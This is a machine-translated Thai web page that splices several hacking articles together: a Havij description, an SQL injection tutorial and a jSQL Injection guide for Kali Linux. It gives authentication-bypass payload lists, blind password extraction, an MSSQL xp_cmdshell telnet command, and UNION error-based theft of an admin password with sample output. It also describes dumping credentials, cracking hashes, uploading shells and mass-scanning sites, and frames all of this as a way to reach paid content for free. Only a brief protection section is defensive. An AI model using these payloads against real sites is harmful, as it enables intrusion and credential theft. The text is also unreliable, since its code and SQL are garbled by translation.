โปรแกรมสำหรับการฉีด sql คำแนะนำในการใช้ jSQL Injection ซึ่งเป็นเครื่องมือมัลติฟังก์ชั่นสำหรับการค้นหาและใช้ประโยชน์จากการแทรก SQL ใน Kali Linux การบังคับใช้แฮชแบบเดรัจฉานโดยใช้ jSQL Injection

Havij เป็นโปรแกรมที่ตรวจสอบช่องโหว่ของเว็บไซต์ ส่วนใหญ่มักจะไม่ได้ใช้เพื่อจุดประสงค์หลัก กล่าวคือ เพื่อฉีดการฉีด SQL เป็นเพราะเหตุนี้เครื่องมือนี้จึงมักถูกจัดว่าเป็นซอฟต์แวร์ "แฮ็ก"

หลักการทำงาน

เมื่อใช้แอปพลิเคชันนี้ คุณสามารถโจมตีบริการเว็บเพื่อเปลี่ยนนิพจน์ SQL ผ่านการต่อเชื่อมได้ หากสำเร็จ การแทรกจะช่วยให้คุณสามารถปรับเปลี่ยนตรรกะในการดำเนินการตามคำขอของผู้ใช้ให้เหมาะกับความต้องการของคุณได้ บ่อยครั้งในระหว่างการโจมตี จะมีการสร้างลายนิ้วมือของฐานข้อมูลอย่างง่าย หลังจากนั้นข้อมูลที่จำเป็นจะถูกนำเข้าจากฐานข้อมูลนั้น เช่น ฐานข้อมูลผู้ใช้หรือบัญชีผู้ดูแลระบบ หากมีช่องโหว่ ผู้โจมตีสามารถโต้ตอบกับส่วนแบ็คเอนด์ของเว็บแอปพลิเคชันได้ โดยเฉพาะอย่างยิ่ง การใช้งานดังกล่าวทำให้สามารถดำเนินการคำสั่งที่จำเป็นบนเซิร์ฟเวอร์หรือดูไฟล์ที่จำเป็นในฝั่งโฮสต์ได้

ความเป็นไปได้

Havij ช่วยให้คุณบันทึกแฮชรหัสผ่านและการถ่ายโอนข้อมูลตาราง โปรแกรมนี้ช่วยให้คุณสามารถดำเนินการประเภทต่างๆ ของการฉีด: การฉีด SQL ตามข้อผิดพลาด, การฉีด SQL ของแบบสอบถาม UNION, การฉีด SQL ของแบบสอบถามแบบซ้อน, การฉีด SQL แบบตาบอดตามเวลา และการฉีด SQL แบบตาบอดที่ใช้บูลีน เครื่องมือนี้ทำงานร่วมกับ HTTPS และรองรับ DBMS หลากหลายประเภท: MSAccess, MySQL, Oracle, PostgreSQ และแม้แต่ Sybase หากจำเป็น Havij สามารถทำงานในหลายๆ เธรดผ่านพร็อกซีได้

ไวยากรณ์ของโค้ดที่ฝังไว้สามารถแก้ไขได้ด้วยตนเอง นอกจากนี้ ก่อนที่จะเริ่มการโจมตี คุณได้รับอนุญาตให้เลือกรายการคำค้นหา คอลัมน์ในตาราง หรือประเภทข้อมูล (เช่น จำนวนเต็มหรือเศษส่วน)

ในระหว่างการดำเนินการ Havij จะเก็บบันทึกโดยละเอียดของการดำเนินการที่ดำเนินการ ซึ่งจะถูกจัดเก็บไว้ในโฟลเดอร์โปรแกรมหลังจากการโจมตีเสร็จสิ้น อินเทอร์เฟสของแอปพลิเคชั่นนั้นค่อนข้างใช้งานง่าย และการควบคุมหลัก ๆ ทั้งหมดก็รวมอยู่ในหน้าต่างเดียว

คุณสมบัติที่สำคัญ

  • ดำเนินการฉีด SQL ด้วยไวยากรณ์ที่ต้องการ
  • รองรับตัวเลือกการใช้งานที่แตกต่างกัน
  • ค้นหาช่องโหว่ของเว็บไซต์และแอปพลิเคชัน
  • ความสามารถในการทำงานกับ DBMS ประเภทต่างๆ
  • รองรับ HTTPS และพร็อกซี

การฉีด SQLเป็นโอกาสที่ดีสำหรับแฮกเกอร์ที่จะได้รับ
เข้าถึงเซิร์ฟเวอร์ และด้วยความพยายามเพียงเล็กน้อยเขาก็
ยังเข้าใจอยู่ :)

โค้ดเดอร์ด้านใน

ปัจจุบันนี้รองรับการทำงานกับฐานข้อมูลแล้ว
ภาษาการเขียนโปรแกรมเกือบทั้งหมด ได้แก่ BASIC, C++, Java, PERL, PHP, Assembler และแม้แต่ JavaScript! และโปรแกรมเหล่านี้ไม่ได้เรียกว่าอะไรมากไปกว่า DBMS - ระบบจัดการฐานข้อมูล ฐานข้อมูลมักใช้เพื่อแก้ไขปัญหาทางการเงิน
การบัญชี องค์กรบุคลากร แต่ยังพบใบสมัครทางอินเทอร์เน็ตอีกด้วย

ฐานข้อมูลมักใช้ในการเขียนแอปพลิเคชันเว็บ การใช้งานมีความเหมาะสมที่สุดสำหรับการจัดเก็บข้อมูลการลงทะเบียนผู้ใช้ ตัวระบุเซสชัน การจัดระเบียบการค้นหา รวมถึงงานอื่น ๆ ที่ต้องใช้การประมวลผลมากขึ้น
จำนวนข้อมูล ในการเข้าถึงฐานข้อมูลจะใช้เทคโนโลยีเซิร์ฟเวอร์: PHP, PERL, ASP เป็นต้น นี่คือจุดเริ่มต้นของความสนุก เมื่ออยู่บนเซิร์ฟเวอร์
มีการติดตั้งแพตช์ทั้งหมดและไฟร์วอลล์จะบล็อกพอร์ตทั้งหมดยกเว้นพอร์ต 80 หรือเมื่อจำเป็นต้องมีการตรวจสอบสิทธิ์เพื่อเข้าถึงข้อมูลบางอย่าง แฮ็กเกอร์สามารถใช้ SQL Injection เพื่อแฮ็กได้ สาระสำคัญของการโจมตีครั้งนี้คือการหาประโยชน์จากข้อผิดพลาดที่จุดตัดของเทคโนโลยีเว็บและ SQL ความจริงก็คือหน้าเว็บจำนวนมากสำหรับการประมวลผลข้อมูลผู้ใช้ในรูปแบบพิเศษ SQLคำขอฐานข้อมูล การใช้เทคนิคนี้อย่างไม่ระมัดระวังสามารถนำไปสู่ผลลัพธ์ที่น่าสนใจทีเดียว...

การฉีด SQL

เพื่ออธิบายการโจมตี ลองจินตนาการว่าคุณไปที่ไซต์เพื่อดาวน์โหลดเครื่องมือที่สำคัญมากชิ้นหนึ่งและสังเกตเห็นด้วยความสยดสยองว่ามีเพียงผู้ใช้ที่ลงทะเบียนเท่านั้นที่สามารถทำได้ และแน่นอนว่าการลงทะเบียนจะต้องเสียเงิน :) คุณคงไม่อยากแจกของหรอก เงินที่คุณได้รับครั้งล่าสุด แต่คุณไม่สามารถทำได้หากไม่มีโปรแกรม! ถึงเวลาที่จะจำวิธีการ
เข้าถึงฐานข้อมูล SQL- ตัวอย่างเช่น การตรวจสอบข้อมูลเข้าสู่ระบบและรหัสผ่านของคุณใน PHP อาจมีลักษณะดังนี้:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" และ
ผ่าน = "$รหัสผ่าน"");
$num_rows=mysql_num_rows($ผลลัพธ์);
mysql_close($ลิงค์);
ถ้า ($num_rows!=0)
{
// การรับรองความถูกต้องตกลง
}
อื่น
{
// ข้อผิดพลาดในการรับรองความถูกต้อง
}

ฉันเพิ่มความคิดเห็นสองรายการ "การรับรองความถูกต้องตกลง" - แต่ฉันควรทำแทน
ไปที่รหัสที่จะดำเนินการหากรหัสผ่านและการเข้าสู่ระบบถูกต้อง "ข้อผิดพลาดในการตรวจสอบความถูกต้อง" อีกประการหนึ่งคือสถานที่ที่โค้ดที่จะถูกดำเนินการหากไม่ถูกต้องจะถูกอธิบาย หากคุณกรอกแบบฟอร์มคำขอจะมีลักษณะดังนี้ “http://www.server.com?login=user&password=31337” โดยที่ www.server.com เป็นชื่อ
เซิร์ฟเวอร์ที่เราพยายามเชื่อมต่อ เราพบสิ่งที่เรากำลังมองหาแล้วจึงกลับมาทำงานอีกครั้ง SQL- ดังนั้นหากคุณต้องระบุการเข้าสู่ระบบและรหัสผ่านสำหรับการอนุญาตระบบจะสร้างขึ้น SQLคำขอจะมีลักษณะดังนี้:

เลือก * จากผู้ใช้ WHERE เข้าสู่ระบบ = "ผู้ใช้" และ
รหัสผ่าน = "31337"

ซึ่งหมายความว่า: กลับมาหาฉันบันทึกทั้งหมดจากฐานข้อมูลผู้ใช้ที่มีการเข้าสู่ระบบเป็น "ผู้ใช้" และรหัสผ่านคือ "31337" หากมีบันทึกดังกล่าว แสดงว่าผู้ใช้ลงทะเบียนแล้ว แต่ถ้าไม่มีก็ไม่ใช่... แต่ภายใต้สถานการณ์บางอย่าง ทุกอย่างสามารถแก้ไขได้ นี่หมายถึงสถานการณ์ที่แอปพลิเคชันไม่ตรวจสอบเนื้อหาของข้อมูลที่ส่งหรือไม่ตรวจสอบการมีอยู่อย่างสมบูรณ์ SQLคำแนะนำ. ในตัวอย่างนี้ จะมีการตรวจสอบสองฟิลด์ล็อกอินและรหัสผ่าน แต่ถ้าคุณระบุ "31337" และ email=" เป็นรหัสผ่าน [ป้องกันอีเมล]"(โดยไม่มีเครื่องหมายคำพูดคู่) จากนั้นข้อความค้นหาจะแตกต่างออกไปเล็กน้อย:

เลือก * จากผู้ใช้ WHERE เข้าสู่ระบบ = "ผู้ใช้" และรหัสผ่าน = "31337" และ
อีเมล์=" [ป้องกันอีเมล]"

และหากมีช่องอีเมลอยู่ ระบบจะตรวจสอบเงื่อนไขนี้ด้วย หากคุณจำพื้นฐานของพีชคณิตแบบบูลีนได้ อยู่ในใจของคุณว่านอกเหนือจากการดำเนินการ "และ" แล้ว ยังมี "หรือ" ด้วย และเนื่องจาก SQL รองรับการใช้งานเหล่านี้ คุณจึงสามารถ
ตามที่อธิบายไว้ ให้เพิ่มเงื่อนไขที่คืนค่าเป็นจริงเสมอ ในการดำเนินการนี้ คุณต้องระบุ "ผู้ใช้" หรือ 1=1-- เป็นการเข้าสู่ระบบ ซึ่งในกรณีนี้คำขอจะอยู่ในรูปแบบ:

เลือก * จากผู้ใช้ WHERE เข้าสู่ระบบ = "ผู้ใช้" หรือ 1=1--" และ
รหัสผ่าน = "31337"

ก่อนอื่น คุณควรรู้ว่า "--" หมายถึงการสิ้นสุดคำขอ และทุกอย่างที่อยู่หลัง "--"
จะไม่ถูกประมวลผล! ปรากฎว่าเราได้ทำการร้องขอ:

เลือก * จากผู้ใช้ WHERE เข้าสู่ระบบ = "ผู้ใช้" หรือ 1=1

อย่างที่คุณเห็น เราได้เพิ่มเงื่อนไข “1=1” ซึ่งหมายความว่าเกณฑ์การตรวจสอบจะเป็น “ถ้าการเข้าสู่ระบบคือ “ผู้ใช้” หรือ 1=1” แต่ 1 จะเท่ากับ 1 เสมอ (ข้อยกเว้นเดียวอาจเป็นเลขคณิตของ Dani Shepovalov :)) เพื่อตรวจสอบความสงสัยของเรา
ป้อน "http://www.server.com?login=user or 1=1--&password=31337" ในแถบที่อยู่ สิ่งนี้นำไปสู่ความจริงที่ว่ามันไม่สำคัญว่าเราจะระบุการเข้าสู่ระบบใด แต่
โดยเฉพาะรหัสผ่าน! และเราอยู่ในเมทริกซ์ ในระบบ และสามารถดาวน์โหลดสิ่งที่เราต้องการได้อย่างใจเย็น

แต่ทั้งหมดนี้เป็นเพียงทฤษฎีเท่านั้น ในทางปฏิบัติ เราไม่ทราบว่าคำขอเกิดขึ้นได้อย่างไร ข้อมูลใดที่ถูกส่ง และในลำดับใด ดังนั้น คุณต้องระบุ "ผู้ใช้" หรือ 1=1--" สำหรับทุกฟิลด์ นอกจากนี้ คุณควรตรวจสอบแบบฟอร์มการส่งสำหรับฟิลด์ที่ซ่อนอยู่ ใน HTML จะมีการอธิบายว่า " " หากมีอยู่ ให้บันทึกเพจและเปลี่ยนค่าของฟิลด์เหล่านี้ ค่าที่มีอยู่ในนั้นมักจะลืมที่จะตรวจสอบว่ามีคำสั่ง SQL อยู่หรือไม่ แต่เพื่อให้ทุกอย่างใช้งานได้คุณควรระบุให้ครบถ้วน เส้นทางไปยังสคริปต์ในรูปแบบ (แท็ก "FORM") สำหรับพารามิเตอร์ "ACTION" ซึ่งประมวลผลคำขอนี้

แต่ไม่ทราบเสมอไปว่าคำขอนั้นเกิดขึ้นได้อย่างไร
ตัวอย่างก่อนหน้านี้สามารถสร้างขึ้นได้ด้วยวิธีต่อไปนี้:

เลือก * จากผู้ใช้ WHERE (เข้าสู่ระบบ = "ผู้ใช้" และรหัสผ่าน = "31337")
เลือก * จากผู้ใช้ WHERE เข้าสู่ระบบ = "ผู้ใช้" และรหัสผ่าน = "31337"
เลือก * จากผู้ใช้ โดยที่ เข้าสู่ระบบ=ผู้ใช้ และรหัสผ่าน=31337

ในกรณีนี้ คุณสามารถลองใช้ตัวเลือกต่อไปนี้:

"หรือ 1=1--
"หรือ 1=1--
หรือ 1=1--
" หรือ "ก"="ก
" หรือ "ก"="ก
") หรือ ("a"="a
หรือ "1"="1"

ทุกอย่างขึ้นอยู่กับวัตถุประสงค์ของสคริปต์และโปรแกรมเมอร์ เนื่องจากแต่ละคนมีแนวโน้มที่จะทำทุกอย่างในแบบของตัวเองจึงเป็นไปได้มากที่โปรแกรมเมอร์จะไม่เลือกตัวเลือกที่ง่ายที่สุด ดังนั้นคุณไม่ควรทันที
ยอมแพ้ถ้าคุณถูกปฏิเสธ จำเป็น
ลองตัวเลือกให้มากที่สุด...

การตรวจจับรหัสผ่าน

การข้ามการอนุญาตนั้นไม่ได้แย่ แต่บ่อยครั้งที่รูที่คุณใช้อยู่ถูกปิด และทุกสิ่งที่คุณสามารถใช้ได้ก็จะหายไป
สิ่งนี้เป็นสิ่งที่คาดหวังได้หากโปรแกรมเมอร์ไม่ใช่คนโง่
เมื่อเวลาผ่านไป มันจะปิดช่องโหว่ทั้งหมด คุณสามารถกำจัดสถานการณ์ดังกล่าวได้อย่างง่ายดายโดยการดูแลล่วงหน้า วิธีแก้ไขที่ถูกต้องอาจเป็นการเดารหัสผ่านโดยใช้
การวิเคราะห์ผลการรับรองความถูกต้อง ก่อนอื่นเรามาลองเดารหัสผ่านโดยป้อนตำแหน่งของมัน:

"หรือรหัสผ่าน>"ก

หากเราได้รับแจ้งว่าผ่านการอนุญาตแล้วให้ระบุรหัสผ่าน
ไม่ได้ขึ้นต้นด้วยตัวอักษร "a" แต่มีอย่างใดอย่างหนึ่งต่อไปนี้ในรายการ ก้าวต่อไปและทดแทน
วาง "a" ถัดไป "b", "c", "d", "e"... ฯลฯ จนกว่าเขาจะแจ้งเราว่ารหัสผ่านไม่ถูกต้อง ปล่อยให้กระบวนการนี้หยุดที่อักขระ "x" ในกรณีนี้ มีสองตัวเลือกสำหรับการพัฒนาสถานการณ์: พบรหัสผ่านหรือรหัสผ่านเริ่มต้นด้วยอักขระนี้ หากต้องการตรวจสอบตัวเลือกแรก ให้เขียนตำแหน่งรหัสผ่าน:

"หรือรหัสผ่าน = "x

และถ้ารหัสผ่านได้รับการยอมรับและคุณได้รับอนุญาตให้เข้าไป คุณก็เดารหัสผ่านได้! ไม่ คุณควรเลือกตัวอักษรตัวที่สอง
เหมือนกันทุกประการตั้งแต่ต้น ตรวจสอบอักขระสองตัว
ต้องการเหมือนกัน ในที่สุดคุณจะได้รับรหัสผ่านและคุณจะค้นหาข้อมูลเข้าสู่ระบบในลักษณะเดียวกัน :)
หากรหัสผ่านและการเข้าสู่ระบบที่พบไม่เหมาะกับคุณ คุณสามารถค้นหาผู้อื่นได้ ในการดำเนินการนี้ คุณต้องเริ่มตรวจสอบจากอักขระตัวสุดท้ายของรหัสผ่านที่พบ ดังนั้นหากรหัสผ่านคือ "xxx" จำเป็นต้องตรวจสอบการมีอยู่ของรหัสผ่าน
"xxxy":

"หรือรหัสผ่าน = "xxx

เพื่อไม่ให้พลาดมากกว่าหนึ่งตัวเลือก!

เอ็มเอส SQL เซิร์ฟเวอร์

โดยทั่วไปแล้ว MS SQL Server จะมาจากสวรรค์หากพลาดการกรองที่จำเป็น การใช้ช่องโหว่ SQL Injection คุณสามารถดำเนินการได้
คำสั่งบนเซิร์ฟเวอร์ระยะไกลโดยใช้ exec master..xp_cmdshell แต่การใช้ดีไซน์นี้
การดำเนินการ SELECT จะต้องเสร็จสิ้น ใน SQL คำสั่งจะถูกคั่นด้วยเครื่องหมายอัฒภาค ดังนั้น หากต้องการเชื่อมต่อ IP บางตัวผ่าน Telnet คุณต้องพิมพ์รหัสผ่าน/ล็อกอิน:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server มีคุณสมบัติที่น่าสนใจหลายประการที่ช่วยให้คุณสามารถค้นหาข้อมูลเข้าสู่ระบบและรหัสผ่านที่เก็บไว้ในฐานข้อมูลได้ ในการดำเนินการนี้ เอาต์พุตข้อผิดพลาดจะถูกเปลี่ยนเส้นทางไปยังเซิร์ฟเวอร์ที่กำหนดเองและผ่านทางเซิร์ฟเวอร์เหล่านั้น
การวิเคราะห์ คุณสามารถค้นหาชื่อของตาราง ฟิลด์ และประเภทได้ หลังจากนั้นคุณสามารถขอได้

" การเข้าสู่ระบบ UNION SELECT TOP 1 จากผู้ใช้--

(เข้าสู่ระบบคือชื่อของฟิลด์ที่มีการเข้าสู่ระบบและผู้ใช้คือชื่อของตาราง
กึ่งนักวิทยาศาสตร์ในกระบวนการวิเคราะห์ข้อผิดพลาด)

คำตอบอาจเป็น:


ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "admin" to a column of data type int. !}
/default.asp บรรทัด 27

ตอนนี้เรารู้แล้วว่ามีผู้ใช้ชื่อ "ผู้ดูแลระบบ" ตอนนี้เราสามารถรับรหัสผ่านของเขาได้แล้ว:

" UNION SELECT รหัสผ่าน TOP 1 จากผู้ใช้โดยที่ login="admin"--

ผลลัพธ์:

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "xxx" to a column of data type int. !}
/tedault.asp บรรทัดที่ 27

ตอนนี้เรารู้แล้วว่ามีผู้ใช้ "ผู้ดูแลระบบ" พร้อมรหัสผ่าน "xxx" ด้วยวิธีนี้คุณสามารถทำได้อย่างปลอดภัย
ใช้แล้วล็อกอินเข้าระบบ😉

แต่มีฟังก์ชั่นอื่น ๆ อีกมากมายสำหรับการทำงานกับ SQL
เมื่อทำงานกับฐานข้อมูล คุณยังสามารถลบข้อมูล แก้ไข แทรกข้อมูลของคุณเอง หรือแม้แต่จัดการไฟล์และทำงานกับรีจิสทรีได้
โดยทั่วไปกฎของ SQL Server :)

การป้องกัน

แต่แน่นอนว่าทั้งหมดนี้สามารถหลีกเลี่ยงได้ การทำเช่นนี้คุณสามารถทำได้
ใช้ตัวกรอง
จัดทำโดยผู้ผลิต คุณสามารถค้นหาวิธีแก้ปัญหาของคุณเองได้ เช่น แทนที่ทั้งหมด
เครื่องหมายคำพูดคู่ (ถ้าสำหรับ SQLขอให้เราใช้อันเดียว) หรือในทางกลับกัน คุณสามารถอนุญาตให้ใช้ตัวอักษรและ s@baki ได้เท่านั้น หากคุณต้องการป้อน
ที่อยู่อีเมล. และในไข่มุกก็มีความอัศจรรย์มาก
ฟังก์ชัน 🙂 quote() ในโมดูล DBI::DBD ซึ่งทำให้การสืบค้นของคุณปลอดภัยได้สำเร็จ SQL- มีวิธีแก้ไขปัญหามากมาย คุณแค่ต้องการมัน
ใช้ประโยชน์จาก. ไม่อย่างนั้นทำไมเรื่องทั้งหมดนี้...

เรียกใช้ไฟล์ที่ดาวน์โหลดโดยดับเบิลคลิก (คุณต้องมีเครื่องเสมือน)

3. การไม่เปิดเผยตัวตนเมื่อตรวจสอบไซต์สำหรับการฉีด SQL

การตั้งค่า Tor และ Privoxy ใน Kali Linux

[ส่วนที่อยู่ระหว่างการพัฒนา]

การตั้งค่า Tor และ Privoxy บน Windows

[ส่วนที่อยู่ระหว่างการพัฒนา]

การตั้งค่าพร็อกซีใน jSQL Injection

[ส่วนที่อยู่ระหว่างการพัฒนา]

4. การตรวจสอบไซต์สำหรับการฉีด SQL ด้วยการฉีด jSQL

การทำงานกับโปรแกรมนั้นง่ายมาก เพียงป้อนที่อยู่เว็บไซต์แล้วกด ENTER

ภาพหน้าจอต่อไปนี้แสดงให้เห็นว่าไซต์เสี่ยงต่อการถูกแทรก SQL สามประเภท (ข้อมูลเกี่ยวกับสิ่งเหล่านั้นจะแสดงอยู่ที่มุมขวาล่าง) เมื่อคลิกที่ชื่อการฉีด คุณสามารถเปลี่ยนวิธีการที่ใช้ได้:

นอกจากนี้ฐานข้อมูลที่มีอยู่ก็ได้ถูกแสดงให้เราเห็นแล้ว

คุณสามารถดูเนื้อหาของแต่ละตารางได้:

โดยทั่วไปแล้ว สิ่งที่น่าสนใจที่สุดเกี่ยวกับตารางคือข้อมูลประจำตัวของผู้ดูแลระบบ

หากคุณโชคดีและพบข้อมูลของผู้ดูแลระบบแสดงว่ายังเร็วเกินไปที่จะดีใจ คุณยังคงต้องค้นหาแผงผู้ดูแลระบบที่จะป้อนข้อมูลนี้

5. ค้นหาแผงผู้ดูแลระบบด้วย jSQL Injection

โดยไปที่แท็บถัดไป ที่นี่เราได้รับการต้อนรับด้วยรายการที่อยู่ที่เป็นไปได้ คุณสามารถเลือกหนึ่งหน้าขึ้นไปเพื่อตรวจสอบ:

ความสะดวกสบายอยู่ที่คุณไม่จำเป็นต้องใช้โปรแกรมอื่น

น่าเสียดายที่มีโปรแกรมเมอร์ที่ไม่ระมัดระวังจำนวนไม่มากที่เก็บรหัสผ่านเป็นข้อความที่ชัดเจน บ่อยครั้งในบรรทัดรหัสผ่านที่เราเห็นบางอย่างเช่นนี้

8743b52063cd84097a65d1633f5c74f5

นี่คือแฮช คุณสามารถถอดรหัสได้โดยใช้กำลังดุร้าย และ... jSQL Injection มี bruteforce ในตัว

6. แฮชแบบ Brute Force โดยใช้ jSQL Injection

ความสะดวกสบายที่ไม่ต้องสงสัยคือคุณไม่จำเป็นต้องค้นหาโปรแกรมอื่น มีการรองรับแฮชยอดนิยมมากมาย

นี่ไม่ใช่ตัวเลือกที่ดีที่สุด เพื่อที่จะเป็นกูรูในการถอดรหัสแฮช แนะนำให้ใช้หนังสือ "" ในภาษารัสเซีย

แต่แน่นอนว่า เมื่อไม่มีโปรแกรมอื่นในมือหรือไม่มีเวลาศึกษา jSQL Injection ที่มีฟังก์ชัน bruteforce ในตัวจะมีประโยชน์มาก

มีการตั้งค่า: คุณสามารถตั้งค่าอักขระที่จะรวมอยู่ในรหัสผ่าน ช่วงความยาวของรหัสผ่าน

7. การทำงานของไฟล์หลังจากตรวจพบการฉีด SQL

นอกเหนือจากการดำเนินการกับฐานข้อมูล - การอ่านและแก้ไขหากตรวจพบการฉีด SQL ก็สามารถดำเนินการไฟล์ต่อไปนี้ได้:

  • อ่านไฟล์บนเซิร์ฟเวอร์
  • การอัปโหลดไฟล์ใหม่ไปยังเซิร์ฟเวอร์
  • การอัพโหลดเชลล์ไปยังเซิร์ฟเวอร์

และทั้งหมดนี้ถูกนำมาใช้ใน jSQL Injection!

มีข้อจำกัด - เซิร์ฟเวอร์ SQL ต้องมีสิทธิ์การใช้งานไฟล์ ผู้ดูแลระบบอัจฉริยะปิดใช้งานสิ่งเหล่านี้และจะไม่สามารถเข้าถึงระบบไฟล์ได้

การมีอยู่ของสิทธิ์ของไฟล์นั้นค่อนข้างง่ายในการตรวจสอบ ไปที่แท็บใดแท็บหนึ่ง (อ่านไฟล์ สร้างเชลล์ อัปโหลดไฟล์ใหม่) และลองดำเนินการอย่างใดอย่างหนึ่งตามที่ระบุ

หมายเหตุที่สำคัญอีกประการหนึ่ง - เราจำเป็นต้องทราบเส้นทางที่แน่นอนไปยังไฟล์ที่เราจะใช้ - มิฉะนั้นจะไม่มีอะไรทำงาน

ดูภาพหน้าจอต่อไปนี้:

หากพยายามดำเนินการกับไฟล์ใดๆ เราจะได้รับคำตอบต่อไปนี้: ไม่มีสิทธิพิเศษ FILE(ไม่มีสิทธิ์เข้าถึงไฟล์) และไม่มีอะไรสามารถทำได้ที่นี่

หากคุณมีข้อผิดพลาดอื่นแทน:

ปัญหาในการเขียนลงใน [directory_name]

ซึ่งหมายความว่าคุณระบุเส้นทางที่แน่นอนที่คุณต้องการเขียนไฟล์ไม่ถูกต้อง

ในการคาดเดาเส้นทางที่แน่นอน อย่างน้อยคุณต้องทราบระบบปฏิบัติการที่เซิร์ฟเวอร์กำลังทำงานอยู่ เมื่อต้องการทำเช่นนี้ สลับไปที่แท็บเครือข่าย

บันทึกดังกล่าว (บรรทัด Win64) ให้เหตุผลแก่เราในการสันนิษฐานว่าเรากำลังจัดการกับ Windows OS:

Keep-Alive: หมดเวลา = 5, สูงสุด = 99 เซิร์ฟเวอร์: Apache/2.4.17 (Win64) การเชื่อมต่อ PHP/7.0.0RC6: วิธี Keep-Alive: HTTP/1.1 200 ตกลง ความยาวเนื้อหา: 353 วันที่: ศุกร์, 11 ธันวาคม 2558 11:48:31 GMT X-ขับเคลื่อนโดย: PHP/7.0.0RC6 ประเภทเนื้อหา: ข้อความ/html; ชุดอักขระ=UTF-8

ที่นี่เรามี Unix (*BSD, Linux):

การเข้ารหัสการถ่ายโอน: chunked วันที่: ศุกร์, 11 ธันวาคม 2558 11:57:02 GMT วิธีการ: HTTP/1.1 200 ตกลง Keep-Alive: หมดเวลา = 3, สูงสุด = 100 การเชื่อมต่อ: Keep-alive ประเภทเนื้อหา: ข้อความ/html X- ขับเคลื่อนโดย: PHP/5.3.29 เซิร์ฟเวอร์: Apache/2.2.31 (Unix)

และที่นี่เรามี CentOS:

วิธีการ: HTTP/1.1 200 ตกลง หมดอายุ: พฤหัสบดี 19 พ.ย. 2524 08:52:00 GMT ชุดคุกกี้: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; เส้นทาง = / การเชื่อมต่อ: Keep-alive X-Cache-Lookup: MISS จาก t1.hoster.ru:6666 เซิร์ฟเวอร์: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS จาก t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache วันที่: ศุกร์ 11 ธันวาคม 2558 12:08:54 GMT การเข้ารหัสการโอน: ประเภทเนื้อหาเป็นชิ้น: text/html; ชุดอักขระ=WINDOWS-1251

บน Windows โฟลเดอร์ทั่วไปสำหรับไซต์คือ C:\เซิร์ฟเวอร์\ข้อมูล\htdocs\- แต่ในความเป็นจริงแล้ว หากมีใคร "คิด" ที่จะสร้างเซิร์ฟเวอร์บน Windows เป็นไปได้มากที่บุคคลนี้จะไม่ได้ยินอะไรเกี่ยวกับสิทธิพิเศษเลย ดังนั้น คุณควรเริ่มลองโดยตรงจากไดเร็กทอรี C:/Windows/:

อย่างที่คุณเห็นทุกอย่างเป็นไปด้วยดีในครั้งแรก

แต่เชลล์การฉีด jSQL เองก็ทำให้เกิดความสงสัยในใจของฉัน หากคุณมีสิทธิ์ในไฟล์ คุณสามารถอัปโหลดบางสิ่งได้อย่างง่ายดายด้วยเว็บอินเตอร์เฟส

8. การตรวจสอบไซต์จำนวนมากสำหรับการแทรก SQL

และแม้แต่ฟังก์ชั่นนี้ก็ยังมีอยู่ใน jSQL Injection ทุกอย่างง่ายมาก - ดาวน์โหลดรายการไซต์ (คุณสามารถนำเข้าจากไฟล์) เลือกไซต์ที่คุณต้องการตรวจสอบแล้วคลิกปุ่มที่เหมาะสมเพื่อเริ่มการดำเนินการ

สรุปจาก jSQL Injection

jSQL Injection เป็นเครื่องมือที่ดีและทรงพลังสำหรับการค้นหาแล้วใช้การแทรก SQL ที่พบในเว็บไซต์ ข้อดีที่ไม่ต้องสงสัย: ใช้งานง่าย, ฟังก์ชั่นที่เกี่ยวข้องในตัว jSQL Injection สามารถเป็นเพื่อนที่ดีที่สุดของผู้เริ่มต้นเมื่อวิเคราะห์เว็บไซต์

ในบรรดาข้อบกพร่อง ฉันจะสังเกตความเป็นไปไม่ได้ในการแก้ไขฐานข้อมูล (อย่างน้อยฉันก็ไม่พบฟังก์ชันนี้) เช่นเดียวกับเครื่องมือ GUI ทั้งหมด ข้อเสียประการหนึ่งของโปรแกรมนี้อาจเกิดจากการไม่สามารถใช้ในสคริปต์ได้ อย่างไรก็ตาม โปรแกรมนี้สามารถใช้ระบบอัตโนมัติบางอย่างได้ด้วย - ด้วยฟังก์ชันการตรวจสอบไซต์จำนวนมากในตัว

โปรแกรม jSQL Injection ใช้งานได้สะดวกกว่า sqlmap มาก แต่ sqlmap รองรับการแทรก SQL ประเภทมากกว่า มีตัวเลือกสำหรับการทำงานกับไฟร์วอลล์ไฟล์และฟังก์ชันอื่นๆ บางอย่าง

สรุป: jSQL Injection เป็นเพื่อนที่ดีที่สุดของแฮ็กเกอร์มือใหม่

ความช่วยเหลือสำหรับโปรแกรมนี้ในสารานุกรม Kali Linux สามารถพบได้ในหน้านี้: http://kali.tools/?p=706

SQL Injection สำหรับหุ่นจำลอง, แฮ็ก ASP + MSSQL

อเล็กซานเดอร์ อันติปอฟ

บทความนี้ไม่มีความจริงใหม่ มีการอธิบายและใช้ SQL อย่างกว้างขวางทุกที่ บทความนี้มีไว้สำหรับผู้เริ่มต้นมากกว่า แต่บางทีผู้เชี่ยวชาญอาจจะพบเคล็ดลับใหม่หนึ่งหรือสองอย่าง


บทความนี้มีจุดมุ่งหมายเพื่อช่วยให้มือใหม่จัดการกับปัญหาที่อาจพบเมื่อใช้เทคนิค SQL Injection ใช้งานได้สำเร็จ และสามารถป้องกันตนเองจากการโจมตีดังกล่าวได้

การแนะนำ

